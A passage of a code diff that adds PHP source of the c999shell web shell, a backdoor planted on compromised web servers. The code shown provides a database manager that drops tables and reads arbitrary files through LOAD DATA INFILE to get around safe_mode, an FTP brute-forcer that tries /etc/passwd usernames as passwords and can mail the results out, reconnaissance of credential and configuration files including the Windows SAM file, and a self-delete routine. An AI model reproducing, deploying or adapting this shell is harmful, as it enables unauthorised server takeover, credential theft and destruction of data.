+ echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>»</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c999ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c999shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c999ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c999shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c999sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c999shexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c999shell v.".$shver."!"; c999shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if 